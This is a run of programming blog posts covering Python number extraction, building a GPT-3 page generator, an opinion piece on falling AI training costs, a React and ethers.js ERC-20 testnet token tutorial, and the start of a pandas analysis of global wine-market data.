Posted on Leave a comment

How To Extract Numbers From A String In Python?

5/5 – (4 votes)

The easiest way to extract numbers from a Python string s is to use the expression re.findall('\d+', s). For example, re.findall('\d+', 'hi 100 alice 18 old 42') yields the list of strings ['100', '18', '42'] that you can then convert to numbers using int() or float().

There are some tricks and alternatives, so keep reading to learn about them. šŸ‘‡

In particular, you’ll learn about the following methods to extract numbers from a given string in Python:

Problem Formulation

Extracting digits or numbers from a given string might come up in your coding journey quite often. For instance, you may want to extract certain numerical figures from a CSV file, or you need to separate complex digits and figures from given patterns.

Having said that, let us dive into our mission-critical question:

Problem: Given a string. How to extract numbers from the string in Python?

Example: Consider that you have been given a string and you want to extract all the numbers from the string as given in the following example:

Given is the following string:

s = 'Extract 100, 1000 and 10000 from this string'

This is your desired output:

[100, 1000, 10000]

Let us discuss the methods that we can use to extract the numbers from the given string:

Method 1: Using Regex Module

The most efficient approach to solving our problem is to leverage the power of the re module. You can easily use Regular Expressions (RegEx) to check or verify if a given string contains a specified pattern (be it a digit or a special character, or any other pattern).

Thus to solve our problem, we must import the regex module, which is already included in Python’s standard library, and then with the help of the findall() function we can extract the numbers from the given string.

ā—ˆ Learn More: re.findall() is an easy-to-use regex function that returns a list containing all matches. To learn more about re.findall() check out our blog tutorial here.

Let us have a look at the following code to understand how we can use the regex module to solve our problem:

import re sentence = 'Extract 100 , 100.45 and 10000 from this string'
s = [float(s) for s in re.findall(r'-?\d+\.?\d*', sentence)]
print(s)

Output

[100.0, 100.45, 10000.0]

This is a Python code that uses the re module, which provides support for regular expressions in Python, to extract numerical values from a string.

Code explanation: šŸ‘‡

The line s = [float(s) for s in re.findall(r'-?\d+\.?\d*', sentence)] uses the re.findall() function from the re module to search the sentence string for numerical values.

Specifically, it looks for strings of characters that match the regular expression pattern r'-?\d+.?\d*'. This pattern matches an optional minus sign, followed by one or more digits, followed by an optional decimal point, followed by zero or more digits.

The re.findall() function returns a list of all the matching strings.

The list comprehension [float(s) for s in re.findall(r'-?\d+\.?\d*', sentence)] takes the list of matching strings returned by findall and converts each string to a floating-point number using the float() function. This resulting list of floating-point numbers is then assigned to the variable s.

šŸ‘‰ Recommended: Python List Comprehension

Method 2: Split and Append The Numbers To A List using split() and append()

Another workaround for our problem is to split the given string using the split() function and then extract the numbers using the built-in float() method then append the extracted numbers to the list.

Note:

  • split() is a built-in python method which is used to split a string into a list.
  • append() is a built-in method in python that adds an item to the end of a list.

Now that we have the necessary tools to solve our problem based on the above concept let us dive into the code to see how it works:

sentence = 'Extract 100 , 100.45 and 10000 from this string' s = []
for t in sentence.split(): try: s.append(float(t)) except ValueError: pass
print(s)

Output

[100.0, 100.45, 10000.0]

Method 3: Using isdigit() Function In A List Comprehension

Another approach to solving our problem is to use the isdigit() inbuilt function to extract the digits from the string and then store them in a list using a list comprehension.

The isdigit() function is used to check if a given string contains digits. Thus if it finds a character that is a digit, then it returns True. Otherwise, it returns False.

Let us have a look at the code given below to see how the above concept works:

sentence = 'Extract 100 , 100.45 and 10000 from this string'
s = [int(s) for s in str.split(sentence) if s.isdigit()]
print(s)

Output

[100, 10000]

☢ Alert! This technique is best suited to extract only positive integers. It won’t work for negative integers, floats, or hexadecimal numbers.

Method 4: Using Numbers from String Library

This is a quick hack if you want to avoid spending time typing explicit code to extract numbers from a string.

You can import a library known as nums_from_string and then use it to extract numbers from a given string. It contains several regex rules with comprehensive coverage and can be a very useful tool for NLP researchers.

Since the nums_from_string library is not a part of the standard Python library, you have to install it before use. Use the following command to install this useful library:

pip install nums_from_string

The following program demonstrates the usage of nums_from_string :

import nums_from_string sentence = 'Extract 100 , 100.45 and 10000 from this string'
print(nums_from_string.get_nums(sentence))

Output

[100.0, 100.45, 10000.0]

Conclusion

Thus from the above discussions, we found that there are numerous ways of extracting a number from a given string in python.

My personal favorite, though, would certainly be the regex module re.

You might argue that using other methods like the isdigit() and split() functions provide simpler and more readable code and faster. However, as mentioned earlier, it does not return numbers that are negative (in reference to Method 2) and also does not work for floats that have no space between them and other characters like '25.50k' (in reference to Method 2).

Furthermore, speed is kind of an irrelevant metric when it comes to log parsing. Now you see why regex is my personal favorite in this list of solutions.

If you are not very supportive of the re library, especially because you find it difficult to get a strong grip on this concept (just like me in the beginning), here’s THE TUTORIAL for you to become a regex master. 🤯🤯

I hope you found this article useful and added some value to your coding journey. Please stay tuned for more interesting stuff in the future.

Posted on Leave a comment

I Created a ChatGPT-Powered Website Creator with ChatGPT – Here’s What I Learned

5/5 – (3 votes)

Ā I wanted to learn how to use the new Large Language Model AI GPT created by OpenAI. I also wanted to know if it could be used in a practical web application.

Here’s my video: 🤯

YouTube Video

To learn it, I created a website that uses it in two ways. I used it to create the web application. The web application I created uses GPT-3 to create other simple web pages or one-page web applications.

A Few Words on ChatGPT

GPT stands for Generative Pre-trained transformer.

I examined its background is clearly explained in depth in its wiki article and why it works is written in a great article by Stephen Wolfram. GPT is a high-powered autocomplete that creates paragraphs and words based on their statistical association. It adds randomness to this selection, so it does not always return the same result given the same prompt.

 I witnessed how it can enable great applications in multiple ways. šŸ‘‡

  • ChatGPT Usage 1: Text autocompletes can be used superbly to write well-written code. 
  • ChatGPT Usage 2: It can also be used in the application to enable or enhance its functionality. 
  • ChatGPT Usage 3: The coder can also use it to expedite learning and create new code.

In creating the website, I found the latter to be the most useful.

This article guides you through how I used and created a website that can generate a website from a text prompt. Open AI’s GPT Da Vinci powers the site. I used Open AI’s Chat GPT to create much of its code. 

I also used GPT-3 based ghostwriter code assistant in the Replit IDE or interactive development environment for auto-completion. I also examine how I used prompt engineering for development, Flask, and JavaScript to create its functionality. 

The GPT-3 Website Prototyper Site

Here’s an example of what the site looks like:

Here’s an example of a pong game created with it just from entering the above prompt text:

How the Application Works

Let’s first see what the site does before we look into its code.

Here’s the site https://web-prototyper.kevron.repl.co/. Go to the site and enter a prompt.  

Here are some example prompts:

  • ā€œCreate an HTML pong game with javascript and an AIā€
  • ā€œCreate an HTML page with street address, zip code, first name, last name, and a date picker for the birthdate.ā€

Here’s a site that gives you information on prompt engineering from OpenAI. If you want to create a website, you’ll have some keywords like “JavaScript” and “HTML”. In addition, you can add CSS and colors to your site. 

Then Click on the Create button that gets the output from the GPT API Davinci. Enter a name. Then save.

You can click on the link to go to the site. You can also click on the code to view the code. You should remember that the code it generates has some randomness to it, and it won’t always return the same result.

How I Created the GPT-3 Website Prototyper Site

I wrote some of this website’s code using Chat-GPT and then manually put the pieces together.

This is a gap in the AIs and where the programmers come in. They can’t see the big picture and put together pieces of code from different sites like

  • Stack Overflow,
  • Google,
  • Finxter, and
  • Chat GPT.

Chat GPT, on the other hand, can only use code already processed on its site.  Throughout the creation of this site, I used these sources to look up how to create this site. I could not just use Chat GPT. 

One of the current gaps humans can fill that Chat generators can’t, even though they are impressive, is tying large pieces and concepts together accurately. So I had to manually tie together the front end, backend, and saving functionality.

Here’s the prompt used to create the Flask backend.

This generated back-end Flask python code and JavaScript code, the JavaScript code called the Flask backend.

I modified the code to work with my site, but the basic structure of the code is from what was generated by OpenAI. I was not familiar with Flask. I’m a professional web developer, though. The ChatGPT, the Finxter tutorial, and my experience helped me get up to speed with Flask in minutes.  

The code for the application can be found on Replit and Github. I’ll post links to the Replit because I believe it gives you the best ability to run and fork the code. 

The communication of the API is the Python code here (Replit):

def gpt3_request(): data = request.get_json() prompt = data['prompt'] completions = openai.Completion.create( engine="text-davinci-002", prompt=prompt, max_tokens=4000, n=1, stop=None, temperature=0.5, ) message = completions.choices[0].text print(message) return jsonify({'message': message})

It’s called by the JavaScript code here, which parses the HTML. You can see the code below. 

It does this to organize the code into CSS, HTML, and JavaScript. It’ll later be injected back into the DOM of a new page. I did this step because the JavaScript and CSS were not always well-formed, so I wanted to separate them out.

I used Chat GPT and StackOverflow. I used StackOverflow to find a technique to help me determine which one to use. I used Stackoverflow to determine what JavaScript technique I should use to save it in the database.

I like StackOverflow because there is a human voting mechanism. It also has feedback and different perspectives and opposing sides.  This is something that ChatGPT misses. It’s only one source

Here’s the prompt I used on ChatGPT to show me the JavaScript client-side database code

 I knew I had to save it for the client. Here’s some of the code to save to the client

You can see the full code here: https://replit.com/@kevron/Web-Prototyper#static/post.js

It is about 75% of the same code as what I got from Chat-GPT-3 . 

The technologies used are Replit for the IDE, OpenAI DaVinci, Python and flask for the backend, HTML and javascript, GIT for source control, and Chat-GPT3.

Understanding the Security, Safety Concerns, and Limitations

This a powerful technology, and I think there are both security and safety concerns that I learned about from using GPT 3 and reading articles about it.

The security concern in this app is that I can now generate tons of HTML pages if I want to. What if some of the information on this site is unsafe or inaccurate? The potential for the inaccuracy of the data is mentioned on many sites. This technology needs to be used safely from OpenAI.

Since this is a new powerful and new technology, many other new safety concerns may arise. I think it’ll vary depending on the organizations’ specific use of GPT.

They lack the ability to generalize and see the big picture. 

Also, the data is stored in the browser’s database. It should not be modified and open to store the HTML code from the website. It could be an internal company tool, though. It’s ok when it is run on the client, but saving this in the database could be dangerous and open up cross-site scripting concerns.

For example, it could be saved in GitHub or saved in someone else’s database.

My Conclusions

This technology is super exciting and will empower many people to create things from just an idea.

Bill Gates and other large investors have said this technology is transformative. Companies such as Google and Microsoft are investing millions of dollars in it. 

Despite the safety concerns of GPT and some of its limitations, I’m very excited about working with this technology and other assistive AI technology in the future.

It helped me immensely in writing this code.

I’m also optimistic that some of its criticisms of accuracy are being worked on and addressed.

I learned through writing this article how powerful and helpful GPT can be as an assistive tool. I also learned firsthand that while GPT is powerful, it does not seem like it will replace a human programmer. It cannot generalize, see the big picture, and fact-check like a human does from multiple sources.

So I hope that in following this article, you’ve developed knowledge about GPT and learned how to use it as a code generation tool too. 

Posted on Leave a comment

IQ Just Got 10,000x Cheaper: Declining Cost Curves in AI Training

5/5 – (1 vote)

“I am not interested in hearing ridiculous Utopian rants.”

said one reader of yesterday’s Finxter newsletter on my note on declining cost curves and the implied disruptions.

I’ll include a screenshot of the email here:

šŸ’” Info: Declining cost curves refer to the trend of production costs decreasing over time as technology and production processes improve. This trend leads to more affordable and accessible products and services, creating new opportunities and disrupting traditional industries and jobs. Think of it like a “cost savings snowball” that gets bigger and bigger as technology advances.

I got a lot of positive comments, too, but let’s focus for a moment on this one because it demonstrates how not to behave in the upcoming years of radical change and transformation.

Let’s recap my note on the declining cost curves for AI training:

ChatGPT and a ~60% annual reduction of AI training costs. The cost of average intelligence is now 10,000x lower, disrupting white-collar labor markets, logistics, universities, law, coding, artists, secretaries, and many other industries.

In this article, allow me to give you more data on this. Feel free to skip ahead if you’re convinced the previous statement is not “ridiculous”.

The following chart from ARK’s research shows the 10x decline in AI costs in only two years.

Declining by 70% twice is represents a total decline of 91%, i.e., slightly more than 10x!

This steep decline in AI training costs combines software and hardware training costs. Both sit on independently declining cost curves in their own right:

Grasping exponentials is tough for our biological brains.

With abundant intelligence, we’ll integrate super-human AI into more and more apps and devices. Everything will become more intelligent all around us.

Your coding IDE, Excel spreadsheet, heating system, car, glasses, clothes. Very soon, all of them will possess super-human intelligence due to the declining AI training costs.

As a researcher, I learned that I needed to look at the evidence rather than letting my biases cloud my view—facts, not opinions.

I am puzzled that billions of people today still don’t believe the evident, apparent, mind-boggling disruptions. Your job is as unsafe as mine. I could sugarcoat it, but what’s the use?

Look at the productivity improvement of AI-assisted coding:

Wow, just like that, an organization like Google, Tesla, Facebook, OpenAI can double their coding productivity. But what about graphical design?

If I write that the costs of intelligence decreased by 10,000x, I mean that literally:

Genuine valuable content that would cost $100 in 2020 can now be purchased for less than $0.01 with ChatGPT.

And ChatGPT today – at IQ 147 reportedly – is the dumbest it will ever be. From here on out, it will become more and more intelligent and be at our service at a lower and lower price.

Yes, it will reach super-human level performance in coding. Yes, it will create beautiful content, music, art, stories, sales pages, research practically for free.

What is left for us humans to do?

Well, your guess is as good as mine. At least, let’s try to remain open-minded and use the technology daily so you won’t get left behind.

For example, you could use ChatGPT to create advanced apps that were previously impossible for a one-person coding startup. Now, you can disrupt the big guys with a small ChatGPT API call.

~~~

If you’re interested in learning how to integrate ChatGPT in your own Python web apps, feel free to check out our new academy course:

[Course] ChatGPT at the Heart – Building a Movie Recommendation Python Web App in 2023

As with all our courses, this course comes with a personalized PDF certificate with your name to showcase your skills to clients or your future employer.

~~~

I’ll close today’s article with this concluding thought: humans tend to adapt very quickly if forced to. Just two months ago, most people would have pushed back on the thought that AI is able to create super-human-level art, code, or content.

Now, only a few people do.

In only two years, AI training costs will have been reduced by another 10x, and we’ll see generative videos and whole books being written in seconds.

We will see peer-reviewed ChatGPT research papers that managed to pass double-blind journal review systems.

Throughout human history, intelligence has been a limiting factor for our economy. It no longer is. You can choose to ignore this or you can choose to embrace change. The world, however, will move on either way.

I’m sending you much love, my friend! ♥

Posted on Leave a comment

How I Built My Own ERC-20 Token (2/2)

5/5 – (2 votes)

YouTube Video

In the first part, we connected the front end with Metamask but couldn’t fetch the balance. Let’s try to fetch the balance from the wallet this time. But first, install the ether.js library to communicate with the smart contract.

npm install --save ethers

Import ether.js library to App.js.

import {ethers} from "ethers";

Now we need to import the contract ABI.

šŸ’” The contract ABI is the JSON format of the contract that saves the bytecode of the deployed contract.

Create a contracts folder inside the source folder. Inside this contracts folder, create a JSON file called SilverToken.json.

Copy the ABI of the contract from the Remix IDE and paste it inside the JSON file. Now import the ABI from the JSON file to the app.js.

import contractABI from "./contracts/SilverToken.json";

Create a variable for the contract address.

const contractAddress = "0xC16322799f2645D5b7a1287392072aA668F8144B";

We need to create a contract instance to get access to the methods of our deployed smart contract. We need three things to create an instance of the contract. Those are the provider, signer, and contract ABI.

We already imported the ABI. So, let’s create state variables for the provider, signer, and contract and initially keep all the values null.

const [provider, setProvider] = useState(null);
const [signer, setSigner] = useState(null);
const [contract, setContract] = useState(null);

Inside the connectMetamask button define provider, signer, and contract.

const provider = new Web3Provider(window.ethereum);
const signer = provider.getSigner();
const contract = new ethers.Contract( contractAddress, contractABI, signer);
setProvider(provider);
setContract(contract);
setSigner(signer);

We defined the provider with the help of the Web3Provider method of the ethers library. In our case, the provider would be Metamask.

I was unable to access the providers library of ethers for some unknown reason. That’s why I imported the providers library from the npm Ethereum providers. You can use this link if you need it.

First, install and then import the providers library.

npm i @ethersproject/providers

since we will use the Web3Provider from the providers library, we will import this only.

import { Web3Provider } from "@ethersproject/providers";

We are committing a transaction, so we must need a signer. We called the signer by using the getSigner() method of the provider.

Then we created an instance of our smart contract with the contract() method of the ethers library.

This contract() method takes the contract address, ABI, and the signer as the parameters.

Now the provider, signer, and contract are defined. So, we need to change the state of these three that we have defined as null earlier.

Now let’s console.log the contract to check if all changes occurred.

console.log(contract);

As you can see in my console, the contract’s state was initially null. But now it returns the contract address that we are connected to.

Get Wallet Balance

Create a getBalance() method to get the balance from the address.

 const getBalance = async () => { const balanceInBig = await contract.balanceOf(activeAccount); const balanceInNum = Number(balanceInBig) / 100; setTokenBalance(balanceInNum); };

We are using the balanceOf method of the contract to get the balance of our address. The balance will be returned as a bigInteger number. Read more about BigInt here.

In the 2nd line, we converted the big integer number to a readable format.

To initiate the getBalance() function, we can use React‘s useEffect() hook.

useEffect(() => { if (contract != null) { getBalance(); } }, [contract]);

The useEffect() hook will trigger the getBalance method if a contract is available. The useEffect() hook will render the page again whenever the contract is changed.

Transfer the Balance

Now to transfer the balance, we need a form where we will input the address of the account to which we will be transferring the amount. Let’s do this part in a separate functional component.

Let’s create a components folder inside the source folder and create a new file called Transaction.js.

Inside this file, create a component structure by pressing “rsc” on the keyboard. If the autocompletion doesn’t work, no need to worry. Write the code manually.

I will create a simple form using custom codes from flowbite. You can check it out or make your own custom one. Inside the return function, paste the following.

 return ( <div className="w-1/2 mx-auto bg-slate-600 mt-10 p-5 border rounded-lg"> <form onSubmit={transactionHandler}> <div className="mb-6"> <label for="address" className="block mb-2 text-sm font-medium text-gray-900 dark:text-white" > Receiver Address </label> <input type="text" id="address" className="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" placeholder="Enter Receiver Address" required /> </div> <div className="mb-6"> <label for="amount" className="block mb-2 text-sm font-medium text-gray-900 dark:text-white" > Transfer Amount </label> <input type="number" id="amount" className="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required /> </div> <button type="submit" className="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm w-full sm:w-auto px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" > Send Token </button> <div className="mt-5"> <h3 className="text-slate-100">{transactionHash}</h3> </div> </form> </div> );

We created two input fields inside the form. One is text type for the receiver address, and another is a number type for the amount that would be sent to the receiver.

The id of each input filed is changed to “address” and “amount” respectively.

A transactionHandler() function will be triggered whenever you click on the send button. This function will collect the info from the input fields and do something further.

Let’s define the transactionHandler() function.

const transactionHandler = async (event) => { event.preventDefault(); let receiverAddress = event.target.address.value; let sendAmount = event.target.amount.value; let transferAmount = sendAmount * 100; let trans = await contract.transfer(receiverAddress, transferAmount); console.log(trans); setTransactionHash("Transaction confirmed with hash:" + trans.hash); };

The transactionHandler() is an async await function that will trigger an event. The preventDefault() method will prevent the function from reloading automatically for changes.

The transferAmount and receiverAddress variables will collect the info from the input fields. ā€œevent.target” will access the input fields by using the id of the input field “amount” and “address.”

We need to use the transfer method of the contract to commit the transaction. To access the contract state, we need to pass it as a prop from the app.js file.

Call the transaction.js component from the app.js file and pass the contract as props.

<Transaction contract={contract}></Transaction>

We are using the ā€œcontract.transferā€ method to commit the transaction. This method will take the receiver address and the send amount as parameters.

We will get a transaction hash as a transfer confirmation when the transaction is done. We can store this transaction hash as a state variable to display it on the user interface.

Let’s create a new account on the Goerli testnet. This will be our receiver account.

Now use this address and send an amount of 50 tokens from the main wallet. We need to multiply the amount by 100 to get the exact value, as we used a two-digit return in the decimals function of the smart contract.

Now if you check this transaction hash on the Etherscan website, you will get the complete transaction details. You will also receive the token balance on the Metamask receiver wallet.

This is the screenshot of my recent transaction. To get your transaction details, just use the transaction hash in the search bar. Make sure you choose the Goerli testnet as the network.

That’s all for today. Thanks for the reading! ♄

šŸ‘‰ Github: https://github.com/finxter/silver_wallet

Posted on Leave a comment

How I Built My Own ERC-20 Token (1/2)

5/5 – (1 vote)

YouTube Video

Project Scenario

In this 2-part series, I’ll show you how I built my own ERC-20 token like ETH in this project. I share this because you may want to do the same and learn from my experience.

I use Solidity to write a smart contract for my ERC-20 token, and then the contract will be deployed on a test net, for starters.

The token balance will be displayed on the user interface along with the wallet address. The front end will be formed with React & Tailwind CSS.

In the next part of this series, I’ll show you how to transfer tokens with the help of the ether.js library. You’ll be able to check the details regarding the transaction by using the transaction hash on the Etherscan website.

Create the Smart Contract

We will use the Openzeppelin framework to build our ERC-20 token.

šŸ‘‰ Recommended: How Does the ERC-20 Token Work?

OpenZeppelin is a secured open-source framework that is used to build, manage, and inspect all aspects of software development for decentralized applications. OpenZeppelin’s ERC-20 solidity file contains all the code to build the token.

Move to the Remix IDE and create a solidity file inside the contract folder. I am naming it as ā€œSilverToken.solā€. Declare the solidity version number in the first line.

So, import Openzeppelin’s ERC-20 Solidity file.

pragma solidity >= 0.5.0 < 0.9.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

If you want to learn more about the OpenZeppelin implementation, you can follow this link.

Now create the contract named SilverToken. This token inherits the token structure from the ERC-20 implementation of Openzeppelin.

contract SilverToken is ERC20 { constructor (uint256 initialSupply) ERC20("silver", "SLV"){ _mint(msg.sender, initialSupply); } function decimals() public pure override returns (uint8) { return 2; }
}

As our token is a child of the ERC-20 class, we can access the different methods of that class now. We are calling the constructor method first. This method asks for the initial supply amount to the contract.

We called the base contractor ERC-20 with name and symbol parameters. This will pass the name and symbol of our token to the parent constructor. Silver is the name of our token, and SLV is the symbol.

To create the initial supply, we started minting tokens. The initial supply of the token will be minted to the msg.sender which is the address of the person who deploys the contract.

We usually can see the 18th decimal of precession for the ETH value. But here, for simplicity, we override that decimal function. We will get up to 2 decimal values.

Deploy the Smart Contract

Let’s compile the contract and move to the deployment section.

We will deploy this on the Goerli testnet. It would be best if you had the goerli test network added to your browser.

If you don’t have the goerli test network on your browser, then move to the “add network” option of the Metamask and add the goerli test net from the networks option.

The configuration for the goerli network is given below:

Goerli testnet must be added to your browser by this time.

You can create a new account by clicking the create account option of Metamask.

We need some goerli Eth in your wallet for the deployment cost. You can quickly get some free goerli eth from goerliFaucet.com.

You may need to sign up in Alchemy to avail the opportunity. Just sign up on Alchemy and create an app. Move back to the goerli faucet and transfer some ETH to your wallet. It’s that simple. 

Now get back to the Remix IDE. Choose the ā€œInjected provider- Metamaskā€ option from the environment dropdown menu. Make sure you are logged into the goerli testnet in Metamask.

You must see the goerli wallet address on the account section if you get connected to Remix IDE. Choose any account. You have to set an initial amount to supply at this address.

I am setting the initial supply amount as a million goerli ETH. Deploy the contract, and you will see all the functions and data types available under the menu.

If you want to check the balance, you can check it from the balanceOf menu. Just enter the wallet address and press the menu. The current token balance will be displayed there.

If you don’t see the token balance in the Metamask, move to the assets option In the Metamask and click on the import tokens option. Then paste the contract address from the Remix IDE, and the tokens will be automatically imported.

You will get the contract address from the deployed contracts section of the Remix IDE.

So, our simple, smart contract is ready. Now let’s build the front end to do transactions to other accounts.

Create a React App and Tailwind CSS

We will use React and Tailwind CSS to build our front end. So, create our react app first.

Open the command prompt from your directory. Then type

npx create-react-app silver_wallet

Now the react is installed. But before initializing react, move to the installed directory and install the tailwind CSS for react.

cd silver_wallet
npm install -D tailwindcss
npx tailwindcss init

Inside the tailwind.config.js file, configure the template paths

content: [ "./src/**/*.{js,jsx,ts,tsx}", ],

And inside the index.css file, add the tailwind directives.

@tailwind base;
@tailwind components;
@tailwind utilities;

Tailwind is installed.

Now initiate the React App.

npm start

The React app should be running on the browser in the port 3000.

Now move to the app.js file and clear it for writing the contracts.

Connect to Metamask

The first thing we need to do is to establish a connection with the Metamask wallet.

Create a button and a container to show the account address to which we would be connected. The wallet’s address will be shown in the UI when connected to the wallet.

Let’s apply some styles also at the same time when we proceed. Get a nice button from the Flowbite website. Flowbite is one of the open-source UI libraries that will help us to build a front-end design faster.

<div> <div className="text-center mt-10"> <button type="button" onClick={connectMetamask} className="text-white bg-gradient-to-r from-cyan-500 to-blue-500 hover:bg-gradient-to-bl focus:ring-4 focus:outline-none focus:ring-cyan-300 dark:focus:ring-cyan-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center mr-2 mb-2" > Connect to Metamask </button>
{errorMessage} </div> <div className="items-center mt-5 py-3 px-4 text-sm font-medium text-center text-white bg-sky-500 rounded-lg hover:bg-sky-500 focus:ring-4 focus:outline-none focus:ring-blue-300 w-1/2 m-auto"> <h3>Wallet Address: {activeAccount} </h3> </div> </div> </div>

Our button is visible in the UI, and we need to add some functionalities to the connectMetamask event handler to make it work.

const connectMetamask = async () => { try { if (window.ethereum) { await window.ethereum .request({ method: "eth_requestAccounts" }) .then((result) => { setActiveAccount(result[0]); }); } else { console.log("Need to install Metamask"); } } catch (error) { console.log(error); } };

An “if-else” condition is introduced to confirm if the Metamask is injected into the browser.

Inside the if condition, the eth_requestAccounts method of the Ethereum library is used to request the accounts of the Metamask. From the results, we choose the results[0], that is, the connected account of Metamask.

We need to declare a state variable outside the event handler to show our account address to the UI. A useState hook of React would be helpful here. Import useState from React.

import React, { useState } from "react";

Now create a state variable to store the value of the active account address.

const [activeAccount, setActiveAccount] = useState(null);

Now set the results[0] as the active account.

If the event handler fails to connect to Metamask, It will throw an error message in the console.

Now if you run the code you must get the wallet address displayed on the User Interface.

At the same time, we need to show the token balance. Under the address section, we can create another <div> container to show the balance of that wallet address. Let’s do this.

<div className="items-center mt-5 py-3 px-4 text-sm font-medium text-center text-white bg-sky-500 rounded-lg hover:bg-sky-500 focus:ring-4 focus:outline-none focus:ring-blue-300 w-1/2 m-auto"> <h3>Token Balance: {tokenBalance} </h3> </div>

Create another state variable outside the function to show balance in the UI.

const [tokenBalance, setTokenBalance] = useState(null);

Our balance state variable is ready, but we need to connect with the contract to fetch the balance from the wallet.

We get connected with the smart contract and transfer some balance into a specific account in the next part.

šŸ‘‰ Github: https://github.com/finxter/silver_wallet

Posted on Leave a comment

Data Science Tells This Story About the Global Wine Markets šŸ·

5/5 – (2 votes)

šŸ“– Background

Many people like to relax or party with a glass of wine. That makes wine an important industry in many countries. Understanding this market is important to the livelihood of many people.

For fun, consider the following fictional scenario:

šŸ· Story: You work at a multinational consumer goods organization that is considering entering the wine production industry. Managers at your company would like to understand the market better before making a decision.

šŸ’¾ The Data

This dataset is a subset of the University of Adelaide’s Annual Database of Global Wine Markets.

The dataset consists of a single CSV file, data/wine.csv.

Each row in the dataset represents the wine market in one country. There are 34 metrics for the wine industry covering both the production and consumption sides of the market.

import pandas as pd wine = pd.read_csv("wine.csv")
print(wine)

šŸ’” Info: The pandas.read_csv() is a function in the Pandas library that reads data from a CSV file and creates a DataFrame object. It has various parameters for customization and can handle missing data, date parsing, and different data formats. It’s a useful tool for importing and manipulating CSV data in Python.

šŸ’Ŗ Challenge

Explore the dataset to understand the global wine market.

The given analysis should satisfy four criteria: Technical approach (20%), Visualizations (20%), Storytelling (30%), and Insights and recommendations (30%).

The Technical approach will focus on the soundness of the approach and the quality of the code. Visualizations will assess whether the visualizations are appropriate and capable of providing clear insights. The Storytelling component will evaluate whether the data supports the narrative and if the narrative is detailed yet concise. The Insights and recommendations component will check for clarity, relevance to the domain, and recognition of analysis limitations.


šŸ· Wine Market Analysis in Four Steps

Step 1: Data Preparation

Import the necessary libraries, and the dataset. Then, if necessary I clean the data and see what features are available for analysis.

import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns wine = pd.read_csv("wine.csv") # Check DataFrame
print(wine.info())

I print some information about the DataFrame to get the column names and non-zero values with df.info() method.

šŸ’” Info: The Pandas DataFrame.info() method provides a concise summary of a DataFrame’s content and structure, including data types, column names, memory usage, and the presence of null values. It’s useful for data inspection, optimization, and error-checking.

Check ā€žNaNā€ values:

wine[wine.isna().any(axis=1)]

There is some “NaN” that we have to manage. It is logical that if there is no ā€žVine Areaā€ then they cannot produce wine. So where there is 0 area, we change production to 0.

print(wine[['Country', 'Wine produced (ML)']][wine["Vine Area ('000 ha)"]==0])
	      Country    Wine produced (ML)
6         Denmark           NaN
7         Finland           NaN
10        Ireland           NaN
12        Sweden            NaN
42        Hong Kong         NaN
46        Malaysia          NaN
47    Philippines       NaN
48        Singapore         NaN
wine.loc[wine["Vine Area ('000 ha)"] == 0, "Wine produced (ML)"] = 0

šŸ’” Info: The DataFrame.loc is a powerful Pandas method used for selecting or modifying data based on labels or boolean conditions. It allows for versatile data manipulations, including filtering, sorting, and value assignment.

You can watch an explainer video on it here:

YouTube Video

Step 2: Gain Data Overview

To find the biggest importers and exporters and to get a more comprehensive picture of the market, I have created some queries.

DataFrame.nlargest(n, columns) is the easiest way to perform the search, where “n” is the number of hits and “columns” is the name of the column being searched. nlargest() returns the values in sorted order.

best_10_importers_by_value = wine.nlargest(10, 'Value of wine imports (US$ mill)')
print(best_10_importers_by_value)
best_10_importers_by_liter = wine.nlargest(10, 'Wine import vol. (ML)')
print(best_10_importers_by_liter)
best_10_exporters_by_value = wine.nlargest(10, 'Value of wine exports (US$ mill)')
print(best_10_exporters_by_value)
best_10_exporters_by_liter = wine.nlargest(10, 'Wine export vol. (ML)')
print(best_10_exporters_by_liter)

Step 3: Create Diagrams

It is time to create diagrams.

Let’s look at imports/exports by country. I have put the import/export columns on the y-axis of a barplot for easy comparison. A barplot displays the relationship between a numeric (export/import) and a categorical (Countries) variable.

šŸ’” Info: The pandas.DataFrame.plot() is a method in the Pandas library that generates various visualizations from DataFrame objects. It’s easy to use and allows for customization of plot appearance and behavior. plot() is a useful tool for data exploration, communication, and hypothesis testing.

I used the pandas built-in plot function to create the chart. The plot function here takes the x and y values, the kind of graph, and the title as arguments.

best_10_importers_by_liter.plot(x =    'Country', y = ['Wine import vol. (ML)', 'Wine export vol. (ML)'], kind = 'bar', title = 'Import / Export by Country')

The first insight that I got, is that it’s a bit confusing that France has the largest exports but still takes the 4th (and third) place in imports… The French seem to like foreign wines.

See what countries do not produce enough wine to cover their own consumption! To do this, I subtracted wine production and exports from their own consumption in a new column.

#create new column to calculate wine demand
wine['wine_demand'] = wine['Wine consumed (ML)'] - (wine['Wine produced (ML)'] - wine['Wine export vol. (ML)']) top_10_wine_demand = wine.nlargest(10, 'wine_demand')
print(top_10_wine_demand)

Or, visualized:

Is there enough GDP per capita for consumption?

I think that people who live in countries with high GDP per capita can afford more expensive and more wine.

I have created a seaborn relation plot, where the hue represents GDP and the y-axis represents wine demand.

šŸ’” Info: Seaborn is a Python data visualization library that offers a high-level interface for creating informative and attractive statistical graphics. It’s built on top of the Matplotlib library and includes several color palettes and themes, making it easy to create complex visualizations with minimal code. Seaborn is often used for data exploration, visualization in scientific research, and communication of data insights.

I set the plot style to 'darkgrid' for better look. Please note that this setting will remain as long as you do not change it, including the following graphs.

Seaborn’s relplot returns a FacetGrid object which has a set_xticklabels function to customize x labels.

sns.set_style('darkgrid')
chart = sns.relplot(data = top_10_wine_demand, x = 'Country', y = 'wine_demand', hue = "GDP per capita ('000 US$)")
chart.set_xticklabels(rotation = 65, horizontalalignment = 'right')

